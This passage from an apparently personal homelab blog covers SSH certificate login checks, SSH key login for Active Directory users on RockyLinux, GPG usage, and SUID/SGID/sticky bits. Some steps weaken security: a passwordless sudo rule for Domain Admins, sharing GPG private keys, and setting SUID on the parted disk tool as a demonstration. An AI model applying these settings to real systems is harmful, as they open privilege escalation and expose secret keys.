@cert-authority *.home.lab ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCd1bStWHNLF5fJqNFxCwcsFv9NWXnhgA2tvkWIQHeVHe8b3Hen9710i8083sq/gwKXQJpQ4gywdDVjsRsn6QIZGZ6iqqSZ0sEHS4zRzFCzRqTq5iPQ7TvWLzPabXo/AYY8ia/QtXu9Wigq2ePMA76WykCkg4LCz0DaSfQ59BvAi5iupEbyUQul4FULyI9fb3zO2CuFDnCzKC+g0iXKWpYC30edsr3qAIQvO2VK+qPK7xictEEkjDAQX+FqlqWOuobz+qc/hfm7y1rH8nikCoZ9lbS3ZDiOEBxtJH8thukGFnwdF6jueol+skpiKWSPq7MpxJ3YvN1QoQGKV/vaeBIFEmUVl8wR8Qb6SSqq44OBqyju7Z4aaCn94sIXTEHjTzuFEj1eaOXinygYW3RiwF6HHmythVWac7qnkw0uXIOQPlqYqt6HrYjRtFTbuTXFf9srhO5cjben/lllqjMUZcQu/RRC/Wz8anGDPmk/t78bUo3qch6MTo9vPqXgAixFD58= Homelab SSH CA
```
* Verify the ssh certification authentication from client1 to server1 and server2.
```bash
tyla@e32:~/ssh/ca$ ssh ubuntu@client1
Welcome to Ubuntu 24.04.2 LTS (GNU/Linux 6.8.0-60-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro
System information as of Sun May 25 12:03:25 UTC 2025
System load: 0.22
Usage of /: 2.8% of 17.60GB
Memory usage: 0%
Swap usage: 0%
Temperature: 38.0 C
Processes: 22
Users logged in: 0
IPv4 address for eth0: 10.18.34.46
IPv6 address for eth0: fd42:2751:df65:31e1:216:3eff:fea7:ec91
Expanded Security Maintenance for Applications is not enabled.
0 updates can be applied immediately.
Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Last login: Sun May 25 11:54:50 2025 from 10.18.34.1
# Verify server1 login from client1
ubuntu@client1:~$ ssh ubuntu@server1.home.lab
Welcome to Ubuntu 24.04.2 LTS (GNU/Linux 6.8.0-60-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro
System information as of Sun May 25 12:03:43 UTC 2025
System load: 0.17
Usage of /: 2.8% of 17.60GB
Memory usage: 0%
Swap usage: 0%
Temperature: 40.0 C
Processes: 22
Users logged in: 0
IPv4 address for eth0: 10.18.34.5
IPv6 address for eth0: fd42:2751:df65:31e1:216:3eff:fec6:b1ec
Expanded Security Maintenance for Applications is not enabled.
0 updates can be applied immediately.
Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Last login: Sun May 25 11:36:37 2025 from 10.18.34.1
ubuntu@server1:~$
logout
Connection to server1.home.lab closed.
# Verify server2 login from client1
ubuntu@client1:~$ ssh ubuntu@server2.home.lab
Welcome to Ubuntu 24.04.2 LTS (GNU/Linux 6.8.0-60-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro
System information as of Sun May 25 12:04:37 UTC 2025
System load: 0.36
Usage of /: 2.8% of 17.60GB
Memory usage: 0%
Swap usage: 0%
Temperature: 38.0 C
Processes: 22
Users logged in: 0
IPv4 address for eth0: 10.18.34.232
IPv6 address for eth0: fd42:2751:df65:31e1:216:3eff:fe4b:6237
Expanded Security Maintenance for Applications is not enabled.
0 updates can be applied immediately.
Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Last login: Sun May 25 11:43:07 2025 from 10.18.34.1
ubuntu@server2:~$
```
In summary, while the initial setup of an SSH certificate authority may require some effort, the long-term benefits in terms of simplified management, enhanced security, and improved scalability make SSH certificate authentication a worthwhile investment for any organisation or individual managing multiple SSH connections.
# SSH key authentication for LDAP login
To be upfront about the concept of password login, I believe that it has been one of the worst invention in technology innovation, and we are sort of stuck here with it for long time. On the other hand, we have also been unleashing the power of ssh key authentication for login on most of the remote system access these days including Windows. That's why I have been always choosing key authentication over password for remote access login.
Due to the domination of Windows Active Directory for identity management in our industry, we are still heavily relaying on its password authentication even for Linux with LDAP integration. Sometimes it feels so bizarre to type in your LDAP username and password for Linux ssh remote session. Well, I am not a big fan of that at all. Fortunately I have found a way to use ssh key for LDAP login specifically for Linux. In this article, I will walk you through how it can be done with very simple few steps.
## Prerequisites
* Windows Server 2022 Active Directory
* IP Address: 192.168.100.100/24
* Domain Name: home.lab
* Domain Admins privilege
* RockyLinux 8 Linux as client for LDAP integration
* IP Address: 192.168.100.205/24
* Internet connectivity to download required software such as realmd, sssd, krb5-workstation, samba-common-tools and krb5-libs
* Sudo privilege
## Steps
### Configuration on Windows Server 2022 Active Directory
* Login to Windows AD server and run the following PowerShell commands
* Create Windows AD group called "ssh".
```powershell
New-ADGroup -Name "ssh" `
-SamAccountName "ssh" `
-GroupScope Global `
-Path "CN=Users,DC=home,DC=lab"
```
* Create Windows AD user called "user1" with its ssh public key added to the `altSecurityIdentities` attribute.
```powershell
New-ADUser -Name "user1" `
-GivenName "User" `
-Surname "One" `
-SamAccountName "user1" `
-UserPrincipalName "user1@home.lab" `
-Path "CN=Users,DC=home,DC=lab" `
-AccountPassword $(ConvertTo-SecureString -String "Change-Me-Right8-Away" -AsPlainText -Force) `
-Enabled $true `
-PassThru | Set-ADUser -Replace @{altSecurityIdentities = "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIA0q/16qgSIBQwSDcXAIX/MWCLXyvxJMvRiAKcpvOxTs user1"}
```
* Add the user1 to the groups, ssh and Domain Admins to allow ssh login with sudo privilege.
```powershell
$u="user1"; @("ssh","Domain Admins") | % { Add-ADGroupMember -Identity $_ -Members $u }
```
* That's it all on the Windows AD server side.
### Configuration on RockyLinux 8
* Install required software with DNF package manager
```bash
[tyla@rocky8 ~]$ sudo dnf -y install realmd sssd krb5-workstation samba-common-tools krb5-libs
Last metadata expiration check: 0:39:10 ago on Thu 22 May 2025 07:59:51 AEST.
Package realmd-0.17.1-2.el8.x86_64 is already installed.
Package sssd-2.9.4-5.el8_10.1.x86_64 is already installed.
Package krb5-libs-1.18.2-31.el8_10.x86_64 is already installed.
Dependencies resolved.
==============================================================================================================================================================================================================
Package Architecture Version Repository Size
==============================================================================================================================================================================================================
Installing:
krb5-workstation x86_64 1.18.2-31.el8_10 baseos 958 k
samba-common-tools x86_64 4.19.4-7.el8_10 baseos 541 k
Installing dependencies:
libkadm5 x86_64 1.18.2-31.el8_10 baseos 188 k
libnetapi x86_64 4.19.4-7.el8_10 baseos 217 k
samba-ldb-ldap-modules x86_64 4.19.4-7.el8_10 baseos 112 k
samba-libs x86_64 4.19.4-7.el8_10 baseos 203 k
Transaction Summary
==============================================================================================================================================================================================================
Install 6 Packages
Total download size: 2.2 M
Installed size: 5.7 M
Downloading Packages:
(1/6): libnetapi-4.19.4-7.el8_10.x86_64.rpm 507 kB/s | 217 kB 00:00
(2/6): krb5-workstation-1.18.2-31.el8_10.x86_64.rpm 1.2 MB/s | 958 kB 00:00
(3/6): libkadm5-1.18.2-31.el8_10.x86_64.rpm 225 kB/s | 188 kB 00:00
(4/6): samba-common-tools-4.19.4-7.el8_10.x86_64.rpm 843 kB/s | 541 kB 00:00
(5/6): samba-ldb-ldap-modules-4.19.4-7.el8_10.x86_64.rpm 159 kB/s | 112 kB 00:00
(6/6): samba-libs-4.19.4-7.el8_10.x86_64.rpm 157 kB/s | 203 kB 00:01
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
Total 815 kB/s | 2.2 MB 00:02
Running transaction check
Transaction check succeeded.
Running transaction test
Transaction test succeeded.
Running transaction
Preparing : 1/1
Installing : samba-libs-4.19.4-7.el8_10.x86_64 1/6
Installing : samba-ldb-ldap-modules-4.19.4-7.el8_10.x86_64 2/6
Installing : libnetapi-4.19.4-7.el8_10.x86_64 3/6
Installing : libkadm5-1.18.2-31.el8_10.x86_64 4/6
Installing : krb5-workstation-1.18.2-31.el8_10.x86_64 5/6
Installing : samba-common-tools-4.19.4-7.el8_10.x86_64 6/6
Running scriptlet: samba-common-tools-4.19.4-7.el8_10.x86_64 6/6
Verifying : krb5-workstation-1.18.2-31.el8_10.x86_64 1/6
Verifying : libkadm5-1.18.2-31.el8_10.x86_64 2/6
Verifying : libnetapi-4.19.4-7.el8_10.x86_64 3/6
Verifying : samba-common-tools-4.19.4-7.el8_10.x86_64 4/6
Verifying : samba-ldb-ldap-modules-4.19.4-7.el8_10.x86_64 5/6
Verifying : samba-libs-4.19.4-7.el8_10.x86_64 6/6
Installed:
krb5-workstation-1.18.2-31.el8_10.x86_64 libkadm5-1.18.2-31.el8_10.x86_64 libnetapi-4.19.4-7.el8_10.x86_64 samba-common-tools-4.19.4-7.el8_10.x86_64 samba-ldb-ldap-modules-4.19.4-7.el8_10.x86_64
samba-libs-4.19.4-7.el8_10.x86_64
Complete!
```
* Configure DNS pointing to the Windows AD server in `/etc/sysconfig/network-scripts/ifcfg-enp1s0`
```bash
TYPE=Ethernet
DEVICE=enp1s0
UUID=394d1e2d-6a64-4538-ab13-77bc017f27a2
ONBOOT=yes
IPADDR=192.168.100.205
NETMASK=255.255.255.0
GATEWAY=192.168.100.1
IPV6INIT=no
DNS1=192.168.100.100 # Windows AD Server IP Address
PROXY_METHOD=none
BROWSER_ONLY=no
PREFIX=24
DEFROUTE=yes
IPV4_FAILURE_FATAL=no
IPV6_DEFROUTE=yes
IPV6_FAILURE_FATAL=no
NAME=enp1s0
```
* Restart Network Manager to apply the change.
```bash
[tyla@rocky8 ~]$ sudo systemctl restart NetworkManager
```
* Verify if the Windows AD domain is available.
```bash
[tyla@rocky8 ~]$ sudo realm discover home.lab
home.lab
type: kerberos
realm-name: HOME.LAB
domain-name: home.lab
configured: no
server-software: active-directory
client-software: sssd
required-package: oddjob
required-package: oddjob-mkhomedir
required-package: sssd
required-package: adcli
required-package: samba-common-tools
```
* Join the node to the Windows AD domain home.lab.
```bash
[tyla@rocky8 ~]$ sudo realm join --verbose HOME.LAB -U administrator
* Resolving: _ldap._tcp.home.lab
* Performing LDAP DSE lookup on: 192.168.100.100
* Successfully discovered: home.lab
Password for administrator@HOME.LAB:
* Required files: /usr/sbin/oddjobd, /usr/libexec/oddjob/mkhomedir, /usr/sbin/sssd, /usr/sbin/adcli
* LANG=C /usr/sbin/adcli join --verbose --domain home.lab --domain-realm HOME.LAB --domain-controller 192.168.100.100 --login-type user --login-ccache=/var/cache/realmd/realm-ad-kerberos-ECBZ62
* Using domain name: home.lab
* Calculated computer account name from fqdn: ROCKY8
* Using domain realm: home.lab
* Sending NetLogon ping to domain controller: 192.168.100.100
* Received NetLogon info from: win2k22.home.lab
* Wrote out krb5.conf snippet to /var/cache/realmd/adcli-krb5-8a6VuS/krb5.d/adcli-krb5-conf-Mo87SK
* Using GSS-SPNEGO for SASL bind
* Looked up short domain name: HOME
* Looked up domain SID: S-1-5-21-1903661991-4098553732-3226728262
* Received NetLogon info from: win2k22.home.lab
* Using fully qualified name: rocky8.home.lab
* Using domain name: home.lab
* Using computer account name: ROCKY8
* Using domain realm: home.lab
* Calculated computer account name from fqdn: ROCKY8
* Generated 120 character computer password
* Using keytab: FILE:/etc/krb5.keytab
* A computer account for ROCKY8$ does not exist
* Found well known computer container at: CN=Computers,DC=home,DC=lab
* Calculated computer account: CN=ROCKY8,CN=Computers,DC=home,DC=lab
* Encryption type [16] not permitted.
* Encryption type [23] not permitted.
* Encryption type [3] not permitted.
* Encryption type [1] not permitted.
* Created computer account: CN=ROCKY8,CN=Computers,DC=home,DC=lab
* Trying to set computer password with Kerberos
* Set computer password
* Retrieved kvno '2' for computer account in directory: CN=ROCKY8,CN=Computers,DC=home,DC=lab
* Checking RestrictedKrbHost/rocky8.home.lab
* Added RestrictedKrbHost/rocky8.home.lab
* Checking RestrictedKrbHost/ROCKY8
* Added RestrictedKrbHost/ROCKY8
* Checking host/rocky8.home.lab
* Added host/rocky8.home.lab
* Checking host/ROCKY8
* Added host/ROCKY8
* Discovered which keytab salt to use
* Added the entries to the keytab: ROCKY8$@HOME.LAB: FILE:/etc/krb5.keytab
* Added the entries to the keytab: host/ROCKY8@HOME.LAB: FILE:/etc/krb5.keytab
* Added the entries to the keytab: host/rocky8.home.lab@HOME.LAB: FILE:/etc/krb5.keytab
* Added the entries to the keytab: RestrictedKrbHost/ROCKY8@HOME.LAB: FILE:/etc/krb5.keytab
* Added the entries to the keytab: RestrictedKrbHost/rocky8.home.lab@HOME.LAB: FILE:/etc/krb5.keytab
* /usr/bin/systemctl enable sssd.service
* /usr/bin/systemctl restart sssd.service
* /usr/bin/sh -c /usr/bin/authselect select sssd with-mkhomedir --force && /usr/bin/systemctl enable oddjobd.service && /usr/bin/systemctl start oddjobd.service
Backup stored at /var/lib/authselect/backups/2025-05-21-23-17-33.m0v4Lg
Profile "sssd" was selected.
The following nsswitch maps are overwritten by the profile:
- passwd
- group
- netgroup
- automount
- services
Make sure that SSSD service is configured and enabled. See SSSD documentation for more information.
- with-mkhomedir is selected, make sure pam_oddjob_mkhomedir module
is present and oddjobd service is enabled and active
- systemctl enable --now oddjobd.service
Created symlink /etc/systemd/system/multi-user.target.wants/oddjobd.service → /usr/lib/systemd/system/oddjobd.service.
* Successfully enrolled machine in realm
```
* Update `/etc/ssh/sshd_config` to allow ssh key authentication for LDAP users.
```bash
AuthorizedKeysCommand /usr/bin/sss_ssh_authorizedkeys
AuthorizedKeysCommandUser nobody
```
* Restart the sshd daemon to apply the change.
```bash
[tyla@rocky8 ~]$ sudo systemctl restart sshd
```
* Configure `/etc/sssd/sssd.conf` for ssh authentication for LDAP attributes.
```bash
[sssd]
domains = home.lab
config_file_version = 2
services = nss, pam, ssh # Add ssh here allow ssh login with domain account
[domain/home.lab]
ad_domain = home.lab
krb5_realm = HOME.LAB
realmd_tags = manages-system joined-with-adcli
cache_credentials = True
id_provider = ad
krb5_store_password_if_offline = True
default_shell = /bin/bash
ldap_id_mapping = True
use_fully_qualified_names = False # Change True to False not to use FQDN
fallback_homedir = /home/%u # Change it for home directory format
access_provider = ad
ad_access_filter = (memberOf=CN=ssh,CN=Users,DC=home,DC=lab) # AD group filter
# Add following parameters to ssh key input in each AD account's altSecurityIdentities
ldap_user_extra_attrs = altSecurityIdentities
ldap_user_ssh_public_key = altSecurityIdentities
```
* Restart sssd daemon to apply the change
```bash
[tyla@rocky8 ~]$ sudo systemctl restart sssd
```
* It's also possible to grant sudo privilege without password prompt if a user is the members of both Domain Admins and ssh groups by adding following line to `/etc/sudoers` file.
```bash
%home.lab\\Domain\ Admins ALL=(ALL) NOPASSWD: ALL
```
* Now verify the user1 ssh login and sudo privilege on RockyLinux 8 end.
```bash
tyla@laptop:~$ ssh user1@192.168.100.205
Activate the web console with: systemctl enable --now cockpit.socket
[user1@rocky8 ~]$ sudo -i
[root@rocky8 ~]#
```
* That's all we have to configure on RockyLinux 8 end for ssh key authentication to work with LDAP login.
# Using GPG to encrypt/decrypt files or messages
This post is showing how to use GPG key encryption on Linux environment.
There are a few ways of encrypting files and email content. Most obvious reason to use GNU Privacy Guard (GnuPG) is free and popular choice among all cryptographic software suites available in the market plus its interoperability with any other OpenGPG implementations. Following is the basic stuff you need to know about GnuPG to be used in Linux environment.
### Installing GnuPG with APT package manager
Most of the Debian/Ubuntu alike distro can run this command to install GnuPG on the system.
```
$ apt install gnupg
```
### Listing keys
After installing GnuPG on the system, here is a couple of gpg commands you can run to list private key(s) and public key(s). For the first time running the commands, it won't list any key as expected.
```
$ gpg --list-secret-keys # listing private keys
$ gpg --list-keys # listing public keys
```
### Generating key pair:
To generate a key pair, run the following commands
```
# Generating a key pair (full interactive)
$ gpg --full-generate-key
# Generating a key pair (quick interactive)
$ gpg --gen-key
```
### Exporting/Importing keys:
Upon generating the key pair with gpg, now it is time to export the public key from the sender device and import it to the recipient device for encryption and decryption files and messages as below.
```
# Export the public key from sender
$ gpg --export -a tyla > tyla_public.key
# Send the exported public key to recipient and import it to his/her device
$ gpg --import tyla_public.key
```
If you like to share the private key with others for encryption/decryption among team, here is how to export and import the private key. Note that the team members you have shared the private key must be trustworthy and keep the private key securely for the security reasons. Also remember that **security is only as strong as the weakest link.**
```
$ gpg --export-secret-keys tyla > tyla-private-key.key
$ gpg --import tyla-private-key.key
```
### Encrypt & Decrypt
After sharing the public/private keys as required, we can start encrypting files. First, let's encrypt a msg.txt file with passphrase in which we don't need to have the key pair generated but just a passphrase. It is a quite handy method where you just want to encrypt the file on your local computer or share the encrypted file with others. But you still have to find a way to share the passphrase with others as well. It is called a symmetric key encryption due to its nature of using the same key (same passphrase) to encrypt and decrypt the message as following.
```
# Encrypting a file with passphrase
$ gpg --batch --passphrase pass -c msg.txt
# Decrypting it with the same passphrase (interactive)
$ gpg -d msg.txt.gpg
# # Decrypting it with the same passphrase (non-interactive)
$ gpg --batch --passphrase pass -d msg.log.gpg
```
With private and public keys pair, it is called an asymmetric key encryption. Here is how to encrypt and decrypt the same msg.txt file with the key pair.
```
# Encrypting a file with public key after importing it to recepient end (interactive)
$ gpg -e -r "tyla" msg.txt
# Encrypting a file with key pair (non-interactive)
$ gpg --always-trust -e -r "tyla" msg.txt
# Decrypting it after import the public
gpg -d msg.txt.gpg
```
# Understanding SUID, SGID and Sticky Bit
## SUID (Set-User-ID) Bit
Any binary file with SUID bit can be run by anyone as its user owner e.g., `/usr/bin/passwd`. It can be executed by anyone without *sudo* privilege to change their own password on a Linux system. The SUID bit can be set on any other file or directory and not restricted only to the executable binaries. But setting the SUID bit on a directory in a Linux system is not a common or recommended practice, and it typically doesn't serve a useful purpose in the same way it does for executable files. The SUID bit is mainly used for executable files to allow them to run with the privileges of the file owner rather than the user who executed the file. When applied to a directory, the SUID bit doesn't have the same meaning or functionality.
In a Linux system, the SUID bit is typically applied to executable files, not directories. The SUID bit on an executable file allows a user who runs the file to temporarily execute it with the permissions of the file's owner rather than their own. This can be useful in certain situations to grant users limited access to specific privileged actions without giving them full root access.
However, applying the SUID bit to a directory is not a common or recommended practice because directories don't execute code in the same way that executable files do. Directories primarily contain files and sub-directories, and they are used for organising and storing data.
If the SUID bit is set on a directory, it may not have any meaningful effect, as the operating system doesn't have a standard behaviour associated with it. Additionally, it could potentially create security risks or unexpected behaviour because it might affect how file operations are carried out within that directory.
In summary, setting the SUID bit on a directory is not a standard practice and is generally discouraged in Linux systems. If you have specific security or access control requirements for directories, it's typically better to use appropriate file permissions and ownership settings rather than relying on SUID. To scan all the files with SUID bit by using `find` command:
```bash
vagrant@ubuntu1:~$ find / -perm -u=s -type f 2>/dev/null
or
vagrant@ubuntu1:~$ find / -perm -4000 -type f 2>/dev/null
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/lib/snapd/snap-confine
/usr/libexec/polkit-agent-helper-1
/usr/bin/passwd <<< Here is the path for passwd binary file
/usr/bin/chfn
/usr/bin/mount
/usr/bin/su
/usr/bin/pkexec
/usr/bin/newgrp
/usr/bin/sudo
/usr/bin/gpasswd
/usr/bin/fusermount3
/usr/bin/chsh
/usr/bin/umount
/opt/VBoxGuestAdditions-7.0.6/bin/VBoxDRMClient
/snap/core20/2015/usr/bin/chfn
/snap/core20/2015/usr/bin/chsh
/snap/core20/2015/usr/bin/gpasswd
/snap/core20/2015/usr/bin/mount
/snap/core20/2015/usr/bin/newgrp
/snap/core20/2015/usr/bin/passwd
/snap/core20/2015/usr/bin/su
/snap/core20/2015/usr/bin/sudo
/snap/core20/2015/usr/bin/umount
/snap/core20/2015/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core20/2015/usr/lib/openssh/ssh-keysign
/snap/core20/1822/usr/bin/chfn
/snap/core20/1822/usr/bin/chsh
/snap/core20/1822/usr/bin/gpasswd
/snap/core20/1822/usr/bin/mount
/snap/core20/1822/usr/bin/newgrp
/snap/core20/1822/usr/bin/passwd
/snap/core20/1822/usr/bin/su
/snap/core20/1822/usr/bin/sudo
/snap/core20/1822/usr/bin/umount
/snap/core20/1822/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core20/1822/usr/lib/openssh/ssh-keysign
/snap/snapd/18357/usr/lib/snapd/snap-confine
```
As shown in the output, `/usr/bin/passwd` is one of the binary files with SUID bit. Its permission looks like this.
```bash
vagrant@ubuntu1:~$ ll /usr/bin/passwd
-rwsr-xr-x 1 root root 59976 Nov 24 2022 /usr/bin/passwd*
```
It means that anyone on this Linux box can run `passwd` command as user owner *root* without sudo privilege escalation. In other word, you don't need to be *root* to execute this binary although *root* is the user and group owner of it. That's why you can run `passwd` command as *non-root* user or without *sudo* prefix.
```bash
vagrant@ubuntu1:~$ passwd
Changing password for vagrant.
Current password:
```
Let's have a look at a binary file which doesn't have SUID bit on it. For example, you can't run `parted` command as *non-root* since its default permission is shown as below.
```bash
vagrant@ubuntu1:~$ which parted
vagrant@ubuntu1:~$ ll /usr/sbin/parted
-rwxr-xr-x 1 root root 88472 Mar 24 2022 /usr/sbin/parted*
vagrant@ubuntu1:~$ parted
WARNING: You are not superuser. Watch out for permissions.
/dev/mapper/control: open failed: Permission denied
Failure to communicate with kernel device-mapper driver.
Incompatible libdevmapper 1.02.175 (2021-01-08) and kernel driver (unknown version).
Error: No device found
Retry/Cancel?
```
It is not quite usual to add SUID bit to a binary file like `parted` for everyone to run it as *non-root* user. But it can demonstrate the drastic affect by doing a strange thing like adding SUID bit to a system partition tool `parted`. To add SUID bit to the *parted* binary, you can use `chmod` command as below.
```bash
# ugoa - u for User, g for Group, o for Others and a for All
sudo chmod u+s /usr/sbin/parted
or
# Numeric mode in octal format - 4000(s) for SUID, 0700 (rwx) for User, 0050 (r-x) for Group and 0005 (r-x) for Others
sudo chmod 4755 /usr/sbin/parted
```
Now you can run `parted` as *non-root* user even though it complains about it as shown below.
```bash
vagrant@ubuntu1:~$ parted
WARNING: You are not superuser. Watch out for permissions.
GNU Parted 3.4
Using /dev/sda
Welcome to GNU Parted! Type 'help' to view a list of commands.
(parted)
```
## SGID (Set-Group-ID) Bit
Any sub-files or sub-directories created inside a directory with SGID bit are owned by its group owner through inheritance although they are created by different user or group owner. It is an ideal situation to share a directory among team to collaborate for a group project. Only caveat is whoever has the access to write to the directory also can delete stuffs inside it although they don't own them or create them originally. Sometimes it is desired to let all users in a group to create and delete sub-files and sub-directories in a shared space for collaboration.
There are some binary files with SGID bit for some use cases like `crontab`. The *crontab* group has no members but it has a very unique usage. The binary file `/usr/bin/crontab` is owned by the *crontab* group with SGID bit set, and `/var/spool/cron/crontabs` directory's group owner is *crontab* with sticky bit *T*. When you check its directory, there is no file or directory exists as you can see below.
```bash
vagrant@ubuntu1:~$ which crontab
/usr/bin/crontab
vagrant@ubuntu1:~$ ll /usr/bin/crontab
-rwxr-sr-x 1 root crontab 39568 Mar 23 2022 /usr/bin/crontab*
vagrant@ubuntu1:~$ ll /var/spool/cron/
total 12
drwxr-xr-x 3 root root 4096 Feb 17 2023 ./
drwxr-xr-x 4 root root 4096 Feb 17 2023 ../
drwx-wx--T 2 root crontab 4096 Mar 23 2022 crontabs/
vagrant@ubuntu1:~$ sudo -i
root@ubuntu1:~# ll /var/spool/cron/crontabs/
total 8
drwx-wx--T 2 root crontab 4096 Mar 23 2022 ./
drwxr-xr-x 3 root root 4096 Feb 17 2023 ../
```
Now let's experiment creating a simple cron job as the user *vagrant* and verify if that makes any change in the `/var/spool/cron/crontabs` directory.
```bash
vagrant@ubuntu1:~$ crontab -e
# Edit this file to introduce tasks to be run by cron.
#
# Each task to run has to be defined through a single line
# indicating with different fields when the task will be run
# and what command to run for the task
#
# To define the time you can provide concrete values for
# minute (m), hour (h), day of month (dom), month (mon),
# and day of week (dow) or use '*' in these fields (for 'any').
#
# Notice that tasks will be started based on the cron's system
# daemon's notion of time and timezones.
#
# Output of the crontab jobs (including errors) is sent through
# email to the user the crontab file belongs to (unless redirected).
#
# For example, you can run a backup of all your user accounts
# at 5 a.m every week with:
# 0 5 * * 1 tar -zcf /var/backups/home.tgz /home/
#
# For more information see the manual pages of crontab(5) and cron(8)
#
# m h dom mon dow command
* * * * * /bin/date >> /tmp/vagrant_date
crontab: installing new crontab
vagrant@ubuntu1:~$ sudo -i
root@ubuntu1:~# cd /var/spool/cron/crontabs
root@ubuntu1:/var/spool/cron/crontabs# ll
total 12
drwx-wx--T 2 root crontab 4096 Sep 9 05:31 ./
drwxr-xr-x 3 root root 4096 Feb 17 2023 ../
-rw------- 1 vagrant crontab 1130 Sep 9 05:31 vagrant
root@ubuntu1:/var/spool/cron/crontabs# cat vagrant
# DO NOT EDIT THIS FILE - edit the master and reinstall.
# (/tmp/crontab.pslqAe/crontab installed on Sat Sep 9 05:34:52 2023)
# (Cron version -- $Id: crontab.c,v 2.13 1994/01/17 03:20:37 vixie Exp $)
# Edit this file to introduce tasks to be run by cron.
#
# Each task to run has to be defined through a single line
# indicating with different fields when the task will be run
# and what command to run for the task
#
# To define the time you can provide concrete values for
# minute (m), hour (h), day of month (dom), month (mon),
# and day of week (dow) or use '*' in these fields (for 'any').
#
# Notice that tasks will be started based on the cron's system
# daemon's notion of time and timezones.
#
# Output of the crontab jobs (including errors) is sent through
# email to the user the crontab file belongs to (unless redirected).
#
# For example, you can run a backup of all your user accounts
# at 5 a.m every week with:
# 0 5 * * 1 tar -zcf /var/backups/home.tgz /home/
#
# For more information see the manual pages of crontab(5) and cron(8)
#
# m h dom mon dow command
* * * * * /bin/date >> /tmp/vagrant_date
```
Upon checking its directory, you can see there is a new file called *vagrant* which is owned by the user owner *vagrant* and the group owner *crontab* with the permission of *-rw-------*. To scan all the files and directories with SGID by using `find` command:
```bash
vagrant@ubuntu1:~$ find / -perm -2000 2>/dev/null
/usr/lib/x86_64-linux-gnu/utempter/utempter
/usr/sbin/unix_chkpwd
/usr/sbin/pam_extrausers_chkpwd
/usr/bin/chage
/usr/bin/ssh-agent
/usr/bin/wall
/usr/bin/write.ul
/usr/bin/crontab
/usr/bin/expiry
/usr/local/share/fonts
/snap/core20/2015/usr/bin/chage
/snap/core20/2015/usr/bin/expiry
/snap/core20/2015/usr/bin/ssh-agent
/snap/core20/2015/usr/bin/wall
/snap/core20/2015/usr/sbin/pam_extrausers_chkpwd
/snap/core20/2015/usr/sbin/unix_chkpwd
/snap/core20/2015/var/mail
/snap/core20/1822/usr/bin/chage
/snap/core20/1822/usr/bin/expiry
/snap/core20/1822/usr/bin/ssh-agent
/snap/core20/1822/usr/bin/wall
/snap/core20/1822/usr/sbin/pam_extrausers_chkpwd
/snap/core20/1822/usr/sbin/unix_chkpwd
/snap/core20/1822/var/mail
/run/log/journal
/var/log/journal
/var/log/journal/b7e96a3ae2604010b85b38bceabddc41
/var/log/journal/4c21ad51207042618852295ed0c84eba
/var/local
/var/mail
```
To add SGID bit to a directory, you can again use `chmod` command as shown below.
```bash
# ugoa - u for User, g for Group, o for Others and a for All
sudo chmod g+s /developers
or
# Numeric mode in octal format - 2000(s) for SUID, 0000 (---) for User, 0070 (rwx) for Group and 0000 (---) for Others
sudo chmod 2070 /developers
```
Here is how it can be prepared to test how SGID bit works in terminal.
```bash
vagrant@ubuntu1:~$ sudo -i
root@ubuntu1:~# mkdir /developers
# Assume that you have already created a group called 'dev'
root@ubuntu1:~# chown :dev /developers
root@ubuntu1:~# chmod 2070 /developers
root@ubuntu1:~# ll -d /developers/
d---rws--- 2 root dev 4096 Sep 9 06:02 /developers/
# Assume that you have already created a user called 'testusr'
root@ubuntu1:~# usermod -aG dev testusr
root@ubuntu1:~# exit
logout
vagrant@ubuntu1:~$ sudo -i -u testusr
testusr@ubuntu1:~$ cd /developers
testusr@ubuntu1:/developers$ touch testfile
testusr@ubuntu1:/developers$ mkdir testdir
testusr@ubuntu1:/developers$ ll
total 12
d---rws--- 3 root dev 4096 Sep 9 06:22 ./
drwxr-xr-x 21 root root 4096 Sep 9 05:55 ../
drwxrwsr-x 2 testusr dev 4096 Sep 9 06:22 testdir/
-rw-rw-r-- 1 testusr dev 0 Sep 9 06:21 testfile
```
As you can see in the output, those newly created 'testfile' file and 'testdir' directory inherit the group owner 'dev' due to SGID bit set on `/developers` parent directory. It is quite clever to use the SGID bit for sharing a directory among team. But there is a downside with this permission since any other users of 'dev' group can remove or delete those file and directory created by 'testusr' account if that's not intended in the shared space. That's where the Sticky bit comes to save your bacon.
## Sticky Bit
The sticky bit is a permission in Linux and Unix-like operating systems that can be set on directories to control who can delete or modify files within that directory. It has a specific and important role in shared directories, particularly in locations like `/tmp`, where multiple users may need to create and manipulate files.
When the sticky bit is set on a directory, it allows users to create files and directories within that directory, but they can only delete or modify their own files and directories. Users cannot delete or modify files or directories owned by other users, even if they have write permissions on the parent directory. Only the owner of a file or directory or the superuser (root) can delete or modify files within a directory with the sticky bit set.
The primary use cases for the sticky bit are:
1. **Temporary Directories**: The most common use of the sticky bit is on directories like `/tmp`. By setting the sticky bit on `/tmp`, it ensures that any user can create temporary files and directories there, but they can only remove their own files, helping to prevent accidental or malicious deletion of other users' files.
2. **Shared Directories**: In shared directories where multiple users have write access, the sticky bit can prevent one user from interfering with the files of others. For example, in a shared project directory, you may want to set the sticky bit to ensure that each user can manage their own files and subdirectories without impacting others.
To set the sticky bit on a directory, you can use the `chmod` command with the numeric mode or symbolic mode. For example, to set the sticky bit on a directory:
```bash
chmod +t directoryname
```
Or using numeric mode:
```bash
chmod 1777 directoryname
```
In the numeric mode, the number "1" in the thousands place represents the sticky bit. The "777" specifies the owner, group, and other permissions.
